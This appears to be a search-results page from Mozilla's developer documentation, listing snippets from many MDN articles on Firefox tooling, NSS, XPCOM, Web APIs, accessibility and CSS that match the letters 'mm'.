... #include "nsidomevent.idl" [scriptable, uuid(08bea243-8a7b-4554-9ee9-70d7785d741b)] interface nsido
mmyevent: nsidomevent { //put members here!
...And 3 more matches
ESLint
this automatic linting can happen either while coding, in a code editor, or when using the co
mmand line.
... setting up eslint ./mach eslint --setup running eslint eslint can be run via: ./mach lint -l eslint you can limit running it to a specific directory with: ./mach lint -l eslint browser/components or work directory changes: ./mach lint -l eslint -w or outgoing co
mmits only: ./mach lint -l eslint -o see ./mach eslint --help for more options when running eslint.
... editor integration it is highly reco
mmended that you integrate eslint into your editor.
...And 3 more matches
SVG Guidelines
it's reco
mmended to put the attributes on the same line as their tag names, if possible.
...metadata can mean many things, including: the typical "created with editor" co
mments non-standard editor specific tags and attributes (sketch:foo, illustrator:foo, sopodi:foo, …) the xml namespace definition that comes with the latter (xmlns:sketch, xmlns:sopodi, …) other metadata in addition to non-standard editor metadata, standard compliant metadata also exists.
...plus, in most of the cases, the filename is quite descriptive so it's reco
mmended to remove that kind of metadata since it doesn't bring much value.
...And 3 more matches
Cross Process Object Wrappers
chrome code can load frame scripts into the content process using the message manager, and can then co
mmunicate with them using a message-passing api.
...the chrome script can get and set the wrapped object's properties and call its functions: // chrome script window
mm.addmessagelistener("my-e10s-extension-message", handlemessage); function handlemessage(message) { let wrapper = message.objects.clicked; console.log(wrapper.innerhtml); wrapper.innerhtml = "<h2>modified by chrome!</h2>" wrapper.setattribute("align", "center"); } auto-generated cpows add-ons that have not declared themselves multiprocess compatible are set up with a number of compatibil...
... bidirectional cpows a co
mmon pattern is for chrome code to access content objects and add event listeners to them.
...And 3 more matches
Performance best practices for Firefox front-end engineers
the rendering process goes through the following steps: the above image is used under creative co
mmons attribution 3.0, courtesy of this page from our friends at google, which itself is well worth the read.
...normally, the changes to the dom just result in the standard style calculation occurring i
mmediately after the javascript has finished running during the 16ms window, inside the "style" step.
... it should be possible to write a test that gets the nsidomwindowutils for a browser window, records the number of styleflushes, then synchronously calls the function that you want to test, and i
mmediately after checks the styleflushes attribute again.
...And 3 more matches
Storage access policy: Block cookies from trackers
we reco
mmend sites test with firefox nightly, as this includes the newest version of our protections.
...although both of these approaches provide the same level of storage access, we reco
mmend third parties switch to using the storage access api in order to guarantee their access to storage.
...these heuristics are intended to allow some third-party integrations that are co
mmon on the web to continue to function.
...And 3 more matches
Fonts for Mozilla 2.0's MathML engine
furthermore, in accordance with the w3c css2 reco
mmendation on fonts, authors can specify an ordered list of particular fonts which they prefer (using the font-family property of css), with the assurance that mozilla's font engine will hunt for alternate fonts whenever their specified fonts are not found on a particular user's system.
...su
mmation symbol) or by assembling glyphs for a few pieces of the character (e.g braces).
...mozilla has general support for the co
mmon delimiters and arrows that have the necessary unicode assignments.
...And 3 more matches
Mozilla MathML Project
for a quick overview, see the slides for the innovation fairs at mozilla su
mmit 2013.
... updates status of each tag result of the mathml 3 testsuite unofficial nightly builds with mathml patches applied (maintained by bill gianopoulos) more updates and archived content co
mmunity view mozilla forums...
... links installing fonts for mozilla's mathml engine mathml version 3.0 - w3c reco
mmendation, 21 october 2010 w3c mathml test suite - designed to check the implementation of each element one attribute (or built-in rendering behavior) at a time in a fairly thorough manner.
...And 3 more matches
Activity Monitor, Battery Status Menu and top
(apple support documentation specifically reco
mmends it for troubleshooting battery life problems.) unfortunately "energy impact" is not a good measure for either users or software developers and it should be avoided.
...the weightings of each factor can be found in one of the the files in /usr/share/pmenergy/mac-<id>.plist, where <id> can be determined with the following co
mmand.
...the exception is when the application is closed, in which case it disappears i
mmediately.
...And 3 more matches
Profiling with the Firefox Profiler
co
mmon performance bugs in firefox inefficient code that is on the reflow or restyle paths is often to blame for jank.
... some more tips and answers to co
mmon questions are available in a mid-2017 faq document.
... if the default threads to be profiled are insufficient, you can choose which threads to profile using moz_profiler_startup_filters, which is a co
mma separated list.
...And 3 more matches
about:memory
if you are using a co
mmunication channel where files can be sent, such as bugzilla or email, click on the "measure and save..." button.
... if you are using a co
mmunication channel where only text can be sent, such as a co
mment thread on a website, click on the "measure..." button.
...if you find any particular tree overwhelming, it can be helpful to collapse all the sub-trees i
mmediately below the root, and then gradually expand the sub-trees of interest.
...And 3 more matches
PKCS #11 Module Specs
valid names inside nss_params are: flags - co
mma separated list of flag values, parsed case-insensitive.
... ciphers - co
mma separated list of ciphers this token will enable that isn't already enabled by the library (currently only fortezza is defined) (case-insensitive).
... valid slotparams values are: slotflags - co
mma separated list of cipher groups which this slot is expected to be the default implementation for (case-insensitive).
...And 3 more matches
NSS tools : pk12util
-m | --key-len keylength specify the desired length of the sy
mmetric key to be used to encrypt the private key.
... -n | --cert-key-len certkeylength specify the desired length of the sy
mmetric key to be used to encrypt the certificates and other meta-data.
...changing the names of the certificate and key databases is not reco
mmended.
...And 3 more matches
OLD SSL Reference
upgraded documentation may be found in the current nss reference ssl reference newsgroup: mozilla.dev.tech.crypto writer: sean cotter manager: wan-teh chang chapter 1 overview of an ssl application ssl and related apis allow compliant applications to configure sockets for authenticated, tamper-proof, and encrypted co
mmunications.
... initialization initializing caches configuration co
mmunication functions used by callbacks cleanup chapter 2 getting started with ssl this chapter describes how to set up your environment, including certificate and key databases, to run the nss sample code.
... callback configuration ssl_authcertificatehook ssl_authcertificate ssl_badcerthook ssl_getclientauthdatahook nss_getclientauthdata ssl_handshakecallback ssl co
mmunication functions ssl_invalidatesession ssl_datapending ssl_securitystatus ssl_getsessionid ssl_setsockpeerid ssl functions used by callbacks ssl_peercertificate ssl_revealurl ssl_revealpinarg ...
...And 3 more matches
Getting SpiderMonkey source code
downloading gzipped spidermonkey source code you can download gzipped spidermonkey source code from the following urls: http://ftp.mozilla.org/pub/spidermonkey/releases/ http://ftp.mozilla.org/pub/spidermonkey/prereleases/ here is a co
mmand-line example of downloading and unzipping spidermonkey source code version 59.0: mkdir mozilla cd mozilla wget http://ftp.mozilla.org/pub/spidermonkey/prereleases/59/pre1/mozjs-59.0a1.0.tar.bz2 tar xvf mozjs-59.0a1.0.tar.bz2 these co
mmands should work on most platforms including windows, as long as on windows you are using the mozillabuild bash shell.
... the following co
mmand line downloads the entire mozilla repository, including the full change history and a lot of gecko and firefox source code that isn't part of spidermonkey.
... getting the latest spidermonkey source code from git the following co
mmand line downloads the entire mozilla repository, including the full change history and a lot of gecko and firefox source code that isn't part of spidermonkey.
...And 3 more matches
Shell global objects
these are the global objects that are set up automatically by the spidermonkey js co
mmand-line interpreter when you start the program.
...if omitted, attach no source map url to the code (although the code may provide one itself, via a //#sourcemappingurl co
mment).
... createmappedarraybuffer(filename, [offset, [size]]) create an array buffer that
mmaps the given file.
...And 3 more matches
Mork
except when parsing values, whitespace ('\b', '\t', '\r', '\n', '\f', ' ', and '\x7f'), line continuations ('\\' followed by a newline), and co
mments (c++ or c style) can be ignored.
... in practice, only c++-style co
mments, and the standard whitespace characters ('\t', ' ', '\r', '\n') appear to be used.
... the gra
mmar for mork is as follows: file = header ( dictionary | table | group | row )* header = '// <!-- <mdb:mork:z v="1.4"/> -->' dictionary = '<' ( metadictionary | alias )* '>' table = '{' '-'?
...And 3 more matches
Starting WebLock
co
mmon xpcom notifications category name value creates component xpcom-startup any contract id yes xpcom-shutdown any contract id no xpcom-autoregistration any contract id no app-startup any service, contract id * the table above su
mmarizes the popular persistent notifications registered through the categ...
... creating the weblock progra
mming interface design is one of the hardest parts of any progra
mming problem.
... xpidl code generation the xpidl compiler also generates a stub implementation of the interface in a co
mmented section of the generated header file, in which each method returns ns_error_not_implemented.
...And 3 more matches
XPCShell Reference
the co
mmand line the co
mmand-line syntax for xpcshell is: xpcshell [-s] [-w] [-w] [-v version] [-f scriptfile] [scriptfile] [scriptarg...] -c this option turns on the "compile-only" mode.
... for instance, assume that you have a file called test.js with the following contents: for (prop in arguments) { print(prop + "=" + arguments[prop]); } entering the following at the co
mmand line should produce the following output: $ xpcshell test.js this is a test 0=this 1=is 2=a 3=test xpcshell extensions once you execute xpcshell without a script you'll be at the js> co
mmand line.
... the following are some useful functions that can be invoked from the co
mmand line: clear(object) clear() removes all properties from an object.
...And 3 more matches
mozIStorageConnection
method overview void asyncclose([optional] in mozistoragecompletioncallback acallback); void begintransaction(); void begintransactionas(in print32 transactiontype); mozistoragestatement clone([optional] in boolean areadonly); void close(); void co
mmittransaction(); void createaggregatefunction(in autf8string afunctionname, in long anumarguments, in mozistorageaggregatefunction afunction); mozistorageasyncstatement createasyncstatement(in autf8string asqlstatement); void createfunction(in autf8string afunctionname, in long anumarguments, in mozistoragefunction afunction); mozistoragestatement createstatem...
... transaction_i
mmediate 1 a reserved lock is obtained on the database.
... void begintransactionas( in print32 transactiontype ); parameters transactiontype one of the transaction constants (mozistorageconnection.transaction_deferred, mozistorageconnection.transaction_i
mmediate, mozistorageconnection.transaction_exclusive) clone() clones a database connection, optionally making the new connection read only.
...And 3 more matches
nsIAccessibleStates
accessible/public/nsiaccessiblestates.idlscriptable please add a su
mmary to this article.
... state_invisible 0x00008000 the object is progra
mmatically hidden.
... for example, menu items are progra
mmatically hidden until a user activates the menu.
...And 3 more matches
nsIControllers
windows and text inputs have default controllers that allow co
mmands such as cmd_copy to act on the focused element or window.
...nts.classes["@mozilla.org/xul/xul-controllers;1"] .createinstance(components.interfaces.nsicontrollers); method overview void appendcontroller(in nsicontroller controller); nsicontroller getcontrollerat(in unsigned long index); nsicontroller getcontrollerbyid(in unsigned long controllerid); unsigned long getcontrollercount(); nsicontroller getcontrollerforco
mmand(in string co
mmand); unsigned long getcontrollerid(in nsicontroller controller); void insertcontrollerat(in unsigned long index, in nsicontroller controller); void removecontroller(in nsicontroller controller); nsicontroller removecontrollerat(in unsigned long index); attributes attribute type description co
mmanddispatcher nsidomxulco
mmanddispatcher obsolete since gecko 1.9 m...
...getcontrollerforco
mmand() searches for a controller that supports the given co
mmand.
...And 3 more matches
nsIProcess
kill() i
mmediately terminates the process represented by the nsiprocess object.
... void run( in boolean blocking, [array, size_is(count)] in string args, in unsigned long count ); parameters blocking if true, this method will block until the process terminates; if false, the method returns i
mmediately.
... args an array of count arguments, using the native character set, to be passed to the executable on its co
mmand line.
...And 3 more matches
nsIZipWriter
nsizipentry getentry(in autf8string azipentry); boolean hasentry(in autf8string azipentry); void open(in nsifile afile, in print32 aioflags); void processqueue(in nsirequestobserver aobserver, in nsisupports acontext); void removeentry(in autf8string azipentry, in boolean aqueue); attributes attribute type description co
mment acstring gets or sets the co
mment associated with the currently open zip file.
...if false, the operation is performed i
mmediately.
...if false, the operation is performed i
mmediately.
...And 3 more matches
XPCOM Interface Reference by grouping
security this section contains apis for secure channel co
mmunications system this section contains application level interfaces including calls to external support elements (such as device calls).
...mlmediaelement nsidomhtmlsourceelement nsidomhtmltimeranges nsidomjswindow nsidomnode nsidomnshtmldocument nsidomstorageitem nsidomstoragemanager nsidomwindow nsidomwindow2 nsidomwindowinternal nsidomwindowutils nsidynamiccontainer nsieditor event nsidomevent nsidomeventgroup nsidomeventlistener nsidomeventtarget nsido
mmousescrollevent nsido
mmoztouchevent nsidomorientationevent nsidomprogressevent nsidomsimplegestureevent nsidragdrophandler nsidragservice nsidragsession html nsiaccessibilityservice nsiaccessiblecoordinatetype nsiaccessibledocument nsiaccessibleeditabletext nsiaccessibleevent nsiaccessiblehyperlink nsiaccessiblehypertext nsiaccess...
...adatavisitor nsicacheservice nsicachesession nsicachevisitor nsicachingchannel nsiselectionimageservice chrome nsisearchengine nsisearchsubmission nsiwebbrowserchrome nsiwindowcreator nsiwindowmediator nsiwindowwatcher clipboard nsiclipboard nsiclipboardco
mmands nsiclipboarddragdrophooklist nsiclipboarddragdrophooks nsiclipboardhelper nsiclipboardowner core action nsitransactionmanager process nsiprocess nsiprocess2 thread nsithread nsithreadeventf...
...And 3 more matches
Storage
warning: it may be tempting to give your database a name ending in '.sdb' for sqlite database, but this is not reco
mmended.
...otherwise, it's strongly reco
mmended that you use asynchronous execution, for performance reasons.
...the latter takes one of three constants to describe the type of transaction: mozistorageconnection.transaction_deferred mozistorageconnection.transaction_i
mmediate mozistorageconnection.transaction_exclusive mozistorageconnection.begintransaction() is equivalent to calling mozistorageconnection.begintransactionas() and passing mozistorageconnection.transaction_deferred.
...And 3 more matches
LDAP Support
this can be accomplished by setting the following preferences: user_pref("mail.autocomplete.co
mmentcolumn", 2); user_pref("ldap_2.servers.directoryname.autocomplete.co
mmentformat", "[ou]"); the first preference tells us to use a co
mment column in the type down (the default value is 0 for no co
mment), and that the value for the co
mment is a custom string unique to each directory.
... the co
mmentformat preference is set on each directory.
... it acts as a template, specifying the extra ldap attribute which should be used in the co
mment field along with how the attribute should be formatted.
...And 3 more matches
Mailnews and Mail code review requirements
mailnews and mail review rules patches affecting thunderbird user experience or interfaces note: it is reco
mmended that when working on bugs that affect user experience or interfaces, that ui-review is obtained at an early stage in the patch development process.
...once unit tests are co
mmitted, the in-testsuite+ flag should be set on the bug.
... if an automated test framework is needed but is not yet available, the developer is encouraged to write appropriate test code and co
mmit it.
...And 3 more matches
Network request list - Firefox Developer Tools
a reset columns co
mmand is available on the context menu to reset the columns to their initial configuration.
... the reset columns co
mmand on the context menu also resets the width of the columns to the default values.
... note: (starting in firefox 80) you can also block and unblock urls from the web console, using the :block and :unblock helper co
mmands.
...And 3 more matches
Page inspector keyboard shortcuts - Firefox Developer Tools
co
mmand windows macos linux inspect element ctrl + shift + c cmd + shift + c ctrl + shift + c node picker these shortcuts work while the node picker is active.
... co
mmand windows macos linux select the element under the mouse and cancel picker mode click click click select the element under the mouse and stay in picker mode shift+click shift+click shift+click html pane these shortcuts work while you're in the inspector's html pane.
... co
mmand windows macos linux delete the selected node delete delete delete undo delete of a node ctrl + z cmd + z ctrl + z redo delete of a node ctrl + shift + z / ctrl + y cmd + shift + z / cmd + y ctrl + shift + z / ctrl + y move to next node (expanded nodes only) down arrow down arrow down arrow move to previous node up arrow up arrow up arrow move to first node in the tree.
...And 3 more matches
The JavaScript input interpreter - Firefox Developer Tools
for example, if you type: function foo() { and then enter, the console does not i
mmediately execute the input, but behaves as if you had pressed shift+enter , so you can finish entering the function definition.
... new function: <!doctype html> <html> <head> <meta charset="utf-8"> <script> function whoareyou() { return "i'm frame1"; } </script> </head> <body> </body> </html> you can switch context to the iframe like this: cd("#frame1"); now you'll see that the global window's document is the iframe: and you can call the function defined in the iframe: helper co
mmands the javascript co
mmand line provided by the web console offers a few built-in helper functions that make certain tasks easier.
... $_ stores the result of the last expression executed in the console's co
mmand line.
...And 3 more matches
AudioTrack.enabled - Web APIs
example this example switches between the main and co
mmentary audio tracks of a media element.
... function swapco
mmentarymain() { var videoelem = document.getelementbyid("main-video"); var audiotrackmain; var audiotrackco
mmentary; videoelem.audiotracks.foreach(track) { if (track.kind === "main") { audiotrackmain = track; } else if (track.kind === "co
mmentary") { audiotrackco
mmentary = track; } } if (audiotrackmain && audiotrackco
mmentary) { var co
mmentaryenabled = audiotrackco
mmentary.enabled; audiotrackco
mmentary.enabled = audiotrackmain.enabled; audiotrackmain.enabled = co
mmentaryenabled; } } the swapco
mmentarymain() function above finds within the audio tracks of the <video> element "main-video" the audio tracks whose kind values are "main" and "co
mmentary".
... these represent the primary audio track and the co
mmentary track.
...And 3 more matches
CSSRule - Web APIs
the cssrule interface specifies the properties co
mmon to all rules, while properties unique to specific rule types are specified in the more specialized interfaces for those rules' respective types.
... properties co
mmon to all cssrule instances cssrule.csstext represents the textual representation of the rule, e.g.
...the relationships between these constants and the interfaces are: type value rule-specific interface co
mments and examples cssrule.style_rule 1 cssstylerule the most co
mmon kind of rule: selector { prop1: val1; prop2: val2; } cssrule.import_rule 3 cssimportrule an @import rule.
...And 3 more matches
Drawing shapes with canvas - Web APIs
unlike the path functions we'll see in the next section, all three rectangle functions draw i
mmediately to the canvas.
... then you use drawing co
mmands to draw into the path.
...once created, future drawing co
mmands are directed into the path and used to build the path up.
...And 3 more matches
Document.evaluate() - Web APIs
it's co
mmon to pass document as the context node.
...null is co
mmon for html documents or when no namespace prefixes are used.
...null is the most co
mmon and will create a new xpathresult example var headings = document.evaluate("/html/body//h2", document, null, xpathresult.any_type, null); /* search the document for all h2 elements.
...And 3 more matches
Element - Web APIs
it only has methods and properties co
mmon to all kinds of elements.
... nondocumenttypechildnode.nextelementsibling read only is an element, the element i
mmediately following the given one in the tree, or null if there's no sibling node.
... nondocumenttypechildnode.previouselementsibling read only is a element, the element i
mmediately preceding the given one in the tree, or null if there is no sibling element.
...And 3 more matches
HTMLButtonElement - Web APIs
htmlbuttonelement.for
mmethod is a domstring reflecting the http method that the browser uses to submit the form.
... specifications specification status co
mment html living standardthe definition of 'htmlbuttonelement' in that specification.
... reco
mmendation the menu attribute and type="menu" value have been removed.
...And 3 more matches
Drag Operations - Web APIs
the most co
mmonly used types are listed in the article reco
mmended drag types.
...however, you will co
mmonly wish to call the preventdefault() method only in certain situations (for example, only if a link is being dragged).
... it is most co
mmon to accept or reject a drop based on the type of drag data in the data transfer — for instance, allowing images, or links, or both.
...And 3 more matches
IDBDatabase - Web APIs
thus, you cannot execute co
mmands, access data, or open anything outside of a transaction.
... methods inherits from: eventtarget idbdatabase.close() returns i
mmediately and closes the connection to a database in a separate thread.
... idbdatabase.transaction() i
mmediately returns a transaction object (idbtransaction) containing the idbtransaction.objectstore method, which you can use to access your object store.
...And 3 more matches
Using the Payment Request API - Web APIs
for this demo, simulate i
mmediate success: paymentresponse.complete('success') .then(function() { // for demo purposes: intropanel.style.display = 'none'; successpanel.style.display = 'block'; }); }) this object provides the developer with access to details they can use to complete the logical steps required after the payment completes, such as an email address to contact the customer, a shipping address ...
...it returns a promise that fulfills with a boolean indicating whether it is or not, for example: // du
mmy payment request to check whether payment can be made new paymentrequest(buildsupportedpaymentmethoddata(), {total: {label: 'stub', amount: {currency: 'usd', value: '0.01'}}}) .canmakepayment() .then(function(result) { if(result) { // real payment request var request = new paymentrequest(buildsupportedpaymentmethoddata(), ...
... checking before all prices are known if the checkout flow needs to know whether paymentrequest.canmakepayment() will return true even before all line items and their prices are known, you can instantiate paymentrequest with du
mmy data and pre-query .canmakepayment().
...And 3 more matches
Performance API - Web APIs
specifications specification status co
mment high resolution time reco
mmendation initial definition.
... high resolution time level 2 reco
mmendation adds performance attribute on window and workerglobalscope.
... navigation timing reco
mmendation adds the performancetiming and performancenavigation interfaces.
...And 3 more matches
RTCDtlsTransport - Web APIs
if the connection was created using max-compat mode, each transport is responsible for handling all of the co
mmunications for a given type of media (audio, video, or data channel).
... thus, a connection that has any number of audio and video channels will always have exactly one dtls transport for audio and one for video co
mmunications.
... data channels rtcdatachannels use sctp to co
mmunicate.
...And 3 more matches
WebGLRenderingContext.makeXRCompatible() - Web APIs
the webglrenderingcontext method makexrcompatible() ensures that the rendering context described by the webglrenderingcontext is ready to render the scene for the i
mmersive webxr device on which it will be displayed.
... this is useful if you have an application which can start out being presented on a standard 2d display but can then be transitioned to a 3d i
mmersion system.
...the second button will be used to start the game in i
mmersive-vr mode.
...And 3 more matches
Geometry and reference spaces in WebXR - Web APIs
reference spaces because of the variety of xr hardware available, coming in a wide variety of form factors from many developers, it's impractical and non-scalable to expect developers to have to directly co
mmunicate with the tracking technology being used.
...the viewer isn't tracked at all; tracking is optimized for stability around the user's current position, so the native origin may drift as needed to acco
mmodate that need.
...this is used for environments in which the user can physically move around, and is supported by all instances of xrsession, both i
mmersive and inline, though it's most useful for inline sessions.
...And 3 more matches
Inputs and input sources - Web APIs
voice co
mmands using speech recognition.
... the third and final target ray mode is most co
mmonly found on mobile devices like smartphones and tablets.
...this input may be a button, trigger, trackpad tap or click, a voice co
mmand, or special hand gesture, or possibly some other form of input.
...And 3 more matches
WebXR permissions and security - Web APIs
among other things, you need to confirm access to device features such as the microphone and/or camera, get permission to use i
mmersive vr mode (if applicable), and so forth.
...these mostly revolve around the fully-i
mmersive i
mmersive-vr session mode, but there are things to be aware of when setting up an ar session, as well.
... i
mmersive presentation of vr first, any requests to activate the i
mmersive-vr mode are rejected if the domain issuing the request does not have permission to enable an i
mmersive session.
...And 3 more matches
Web Speech API - Web APIs
the speechgra
mmar interface represents a container for a particular set of gra
mmar that your app should recognise.
... gra
mmar is defined using jspeech gra
mmar format (jsgf.) speech synthesis is accessed via the speechsynthesis interface, a text-to-speech component that allows programs to read out their text content (normally via the device's default speech synthesiser.) different voice types are represented by speechsynthesisvoice objects, and different parts of text that you want to be spoken are represented by speechsynthesisutterance objects.
... speechgra
mmar the words or patterns of words that we want the recognition service to recognize.
...And 3 more matches
Privileged features - Web APIs
if minimizable is on, the new dialog window will have a minimize system co
mmand icon in the titlebar and it will be minimizable.
...mozilla 1.2+ and netscape 7.1 will render the other menu system co
mmands (in ff 1.0 and in ns 7.0x, the co
mmand system menu is not identified with the firefox/ns 7.0x icon on the left end of the titlebar: that's probably a bug.
... you can access the co
mmand system menu with a right-click on the titlebar).
...And 3 more matches
window.postMessage() - Web APIs
the window.postmessage() method safely enables cross-origin co
mmunication between window objects; e.g., between a page and a pop-up that it spawned, or between a page and an iframe embedded within it.
... source a reference to the window object that sent the message; you can use this to establish two-way co
mmunication between two windows with different origins.
...(the other properties have their expected values.) it is not possible for content or web context scripts to specify a targetorigin to co
mmunicate directly with an extension (either the background script or a content script).
...And 3 more matches
XRPermissionDescriptor.mode - Web APIs
the mode property of the xrpermissiondescriptor dictionary is a string taken from the xrsessionmode enumerated type, specifying which web xr session mode (inline, i
mmersive-vr, or i
mmersive-ar) the described permissions will be used for.
... syntax xrpermissiondescriptor = { mode: xrsessionmode, requiredfeatures: reqfeaturelist, optionalfeatures: optfeaturelist }; xrpermissiondescriptor.mode = xrsessionmode; xrmode = xrpermissiondescriptor.mode; value a domstring whose value is one of the strings found in the xrsessionmode enumerated type: i
mmersive-ar the session's output will be given exclusive access to the i
mmersive device, but the rendered content will be blended with the real-world environment.
... important: the i
mmersive-ar mode is defined by the webxr augmented reality module, which is not yet stable and should not be used other than for testing and experimentation.
...And 3 more matches
XRSession.requestAnimationFrame() - Web APIs
there is no guarantee that the latter will work at all while an i
mmersive xr session is underway.
...this example demonstrates a design pattern that ensures seamless transition between non-i
mmersive animations created via window.requestanimationframe and i
mmersive xr animations.
... let xrsession = null function onwindowanimationframe(time) { window.requestanimationframe(onwindowanimationframe) // this may be called while an i
mmersive session is running on some devices, // such as a desktop with a tethered headset.
...And 3 more matches
XRSession - Web APIs
xrsession supports both inline and i
mmersive virtual and augmented reality modes.
...this generally corresponds to the user pressing a trigger, touchpad, or button, speaks a co
mmand, or performs a recognizable gesture.
... the select event is sent after the selectstart event is sent and i
mmediately before the selectend event is sent.
...And 3 more matches
XRSystem - Web APIs
if (navigator.xr) { i
mmersivebutton.addeventlistener("click", onbuttonclicked); navigator.xr.issessionsupported('i
mmersive-vr') .then((issupported) => { if (issupported) { i
mmersivebutton.disabled = false; } else { i
mmersivebutton.disabled = true; }); } function onbuttonclicked() { if (!xrsession) { navigator.xr.requestsession('i
mmersive-vr') .then(() => { // onsessionstarted()...
...if it's found, we know webxr is present, so we proceed by establishing a handler for the button which the user can click to toggle i
mmersive vr mode on and off.
... however, we don't yet know if the desired i
mmersive mode is available.
...And 3 more matches
Using the alert role - Accessibility
the alert role is used to co
mmunicate an important and usually time-sensitive message to the user.
...the alert role is most useful for information that requires the user's i
mmediate attention, for example: an invalid value was entered into a form field the user's login session is about to expire the connection to the server was lost, local changes will not be saved because of its intrusive nature, the alert role must be used sparingly and only in situations where the user's i
mmediate attention is required.
... assistive technology products should listen for such an event and notify the user accordingly: screen readers may interrupt current output (whether it's speech or braille) and i
mmediately announce or display the alert message.
...And 3 more matches
ARIA: contentinfo role - Accessibility
this section is co
mmonly called a footer.
...using the <footer> element instead is reco
mmended: <footer> <h2>footer</h2> <!-- footer content --> </footer> description the contentinfo role is a landmark used to identify a page footer.
... using the <footer> element will automatically co
mmunicate a section has a role of contentinfo.
...And 3 more matches
ARIA: form role - Accessibility
using the <form> element will automatically co
mmunicate a section of content as a form landmark, if it is provided an accessible name.
... examples <div role="form" id="send-co
mment" aria-label="add a co
mment"> <label for="username">username</label> <input id="username" name="username" autocomplete="nickname" autocorrect="off" type="text"> <label for="email">email</label> <input id="email" name="email" autocomplete="email" autocapitalize="off" autocorrect="off" spellcheck="false" type="text"> <label for="co
mment">co
mment</label> <textarea id="co
mment" name="...
...co
mment"></textarea> <input value="co
mment" type="submit"> </div> it is reco
mmended to use <form> instead.
...And 3 more matches
ARIA: button role - Accessibility
a button is a widget used to perform actions such as submitting a form, opening a dialog, cancelling an action, or performing a co
mmand such as inserting a new record or displaying information.
... a co
mmon convention to inform users a button will launch a dialog is to append "…" (ellipsis) to the button's label, e.g., "save as…".
... if the button has aria-expanded="false" set, the grouping is not currently expanded; if the button has aria-expanded="true" set, it is currently expanded; if the button has aria-expanded="undefined" set or the attribute is o
mmitted, it is not expandable.
...And 3 more matches
Web accessibility for seizures and physical reactions - Accessibility
the fact that static images may cause seizures and other disorders is documented in such articles as “ga
mma oscillations and photosensitive epilepsy”, where it is noted “certain visual images, even in the absence of motion or flicker, can trigger seizures in patients with photosensitive epilepsy” the epilepsy foundation, in its article, "shedding light on photosensitivity, one of epilepsy's most complex conditions" talks about static images and patterns.
...in its article, "a revised definition of epilepsy" the epilepsy foundation notes that…"a seizure is an event and epilepsy is the disease involving recurrent unprovoked seizures." according to the epilepsy foundation's page "how serious are seizures?" , "sudden unexpected death in epilepsy (sudep) is likely the most co
mmon disease-related cause of death in with epilepsy.
... natural light, such as sunlight, especially when shi
mmering off water, flickering through trees or through the slats of venetian blinds.
...And 3 more matches
Web Accessibility: Understanding Colors and Luminance - Accessibility
the "l" in the hsl color space is sometimes referred to as "luminosity," other times as "lightness." even something seemingly simple like naming co
mmon colors can be open to debate.
... newer technologies, such as opengl and direct3d incorporate support for the srgb ga
mma curve, although some articles for opengl reference use of rgba rather than srgb.
... to su
mmarize, color is as much about human physiology and perception in the brain as it is the measurement of light coming from a computer screen.
...And 3 more matches
::first-letter (:first-letter) - CSS: Cascading Style Sheets
/* selects the first letter of a <p> */ p::first-letter { font-size: 130%; } the first letter of an element is not always trivial to identify: punctuation that precedes or i
mmediately follows the first letter is included in the match.
...pecial punctuation mark.</p> <p>*the beginning of a special punctuation mark.</p> <p>#the beginning of a special punctuation mark.</p> <p>「特殊的汉字标点符号开头。</p> <p>《特殊的汉字标点符号开头。</p> <p>“特殊的汉字标点符号开头。</p> css p::first-letter { color: red; font-size: 150%; } result specifications specification status co
mment css pseudo-elements level 4the definition of '::first-letter' in that specification.
... candidate reco
mmendation allows the use of text-shadow with ::first-letter.
...And 3 more matches
:active - CSS: Cascading Style Sheets
/* selects any <a> that is being activated */ a:active { color: red; } the :active pseudo-class is co
mmonly used on <a> and <button> elements.
... other co
mmon targets of this pseudo-class include elements that contain an activated element, and form elements that are being activated through their associated <label>.
... /* active links */ p:active { background: #eee; } /* active paragraphs */ result active form elements html <form> <label for="my-button">my button: </label> <button id="my-button" type="button">try clicking me or my label!</button> </form> css form :active { color: red; } form button { background: white; } result specifications specification status co
mment html living standardthe definition of ':active' in that specification.
...And 3 more matches
@font-face - CSS: Cascading Style Sheets
by allowing authors to provide their own fonts, @font-face makes it possible to design content without being limited to the so-called "web-safe" fonts (that is, the fonts which are so co
mmon that they're considered to be universally available).
... it's co
mmon to use both url() and local() together, so that the user's installed copy of the font is used if available, falling back to downloading a copy of the font if it's not found on the user's device.
...ue bold" is used; if the user does not have that font installed (two different names are tried), then the downloadable font named "mgopenmodernabold.ttf" is used instead: @font-face { font-family: myhelvetica; src: local("helvetica neue bold"), local("helveticaneue-bold"), url(mgopenmodernabold.ttf); font-weight: bold; } specifications specification status co
mment woff file format 2.0the definition of 'woff2 font format' in that specification.
...And 3 more matches
At-rules - CSS: Cascading Style Sheets
they begin with an at sign, '@' (u+0040 co
mmercial at), followed by an identifier and includes everything up to the next semicolon, ';' (u+003b semicolon), or the next css block, whichever comes first.
...(at the candidate reco
mmendation stage, but only implemented in gecko as of writing) @font-feature-values (plus @swash, @ornaments, @annotation, @stylistic, @styleset and @character-variant) — define co
mmon names in font-variant-alternates for feature activated differently in opentype.
... (at the candidate reco
mmendation stage, but only implemented in gecko as of writing) conditional group rules much like the values of properties, each at-rule has a different syntax.
...And 3 more matches
Typical use cases of Flexbox - CSS: Cascading Style Sheets
in this guide we will take a look at some of the co
mmon use cases for flexbox — those places where it makes more sense than another layout method.
... navigation a co
mmon pattern for navigation is to have a list of items displayed as a horizontal bar.
... media objects the media object is a co
mmon pattern in web design — this pattern has an image or other element to one side and text to the right.
...And 3 more matches
CSS selectors - CSS: Cascading Style Sheets
this means that the second element follows the first (though not necessarily i
mmediately), and both share the same parent.
... syntax: a ~ b example: p ~ span will match all <span> elements that follow a <p>, i
mmediately or not.
... specifications specification status co
mment selectors level 4 working draft added the || column combinator, grid structural selectors, logical combinators, location, time-demensional, resource state, linguistic and ui pseudo-classes, modifier for ascii case-sensitive and case-insensitive attribute value selection.
...And 3 more matches
Pseudo-classes - CSS: Cascading Style Sheets
:not() :nth-child() :nth-col() :nth-last-child() :nth-last-col() :nth-last-of-type() :nth-of-type() :only-child :only-of-type :optional :out-of-range :past :placeholder-shown :read-only :read-write :required :right :root :scope :state() :target :target-within :user-invalid :valid :visited :where() specifications specification status co
mment fullscreen api living standard defined :fullscreen.
... html5 reco
mmendation copies the relevant section from the canonical (whatwg) html spec.
... css basic user interface module level 3 reco
mmendation defined :default, :valid, :invalid, :in-range, :out-of-range, :required, :optional, :read-only and :read-write, but without the associated semantic meaning.
...And 3 more matches
Using CSS custom properties (variables) - CSS: Cascading Style Sheets
a co
